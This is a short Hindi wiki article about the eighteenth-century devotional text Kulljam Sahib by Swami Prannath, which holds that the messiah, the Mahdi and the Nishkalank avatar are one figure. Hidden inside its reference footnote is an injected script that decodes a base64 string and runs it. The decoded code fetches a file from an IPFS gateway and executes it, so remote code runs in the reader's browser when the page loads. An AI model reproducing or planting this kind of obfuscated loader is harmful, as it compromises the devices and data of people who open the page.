कुल्लजम साहेब

भारत डिस्कवरी प्रस्तुति
रविन्द्र प्रसाद (चर्चा | योगदान) द्वारा परिवर्तित 05:21, 17 दिसम्बर 2012 का अवतरण (''''कुल्लजम साहेब''' अठारहवीं शताब्दी में विरचित संत [[...' के साथ नया पन्ना बनाया)
(अंतर) ← पुराना अवतरण | वर्तमान अवतरण (अंतर) | नया अवतरण → (अंतर)
यहाँ जाएँ:भ्रमण, खोजें

कुल्लजम साहेब अठारहवीं शताब्दी में विरचित संत साहित्य का एक ग्रंथ है। इसके रचयिता स्वामी प्राणनाथ हैं।[1]

  • स्वामी प्राणनाथ ने इस ग्रंथ में बतलाया है कि भारत के सभी धर्म एक ही पुरुष (ईश्वर) में समाहित हैं।
  • ईसाईयों के मसीहा, मुस्लिमों के महदी एवं हिन्दुओं के निष्कलंकावतार सभी एक ही व्यक्ति के रूप हैं।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. हिन्दू धर्मकोश |लेखक: डॉ. राजबली पाण्डेय |प्रकाशक: उत्तर प्रदेश हिन्दी संस्थान |पृष्ठ संख्या: 193 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

संबंधित लेख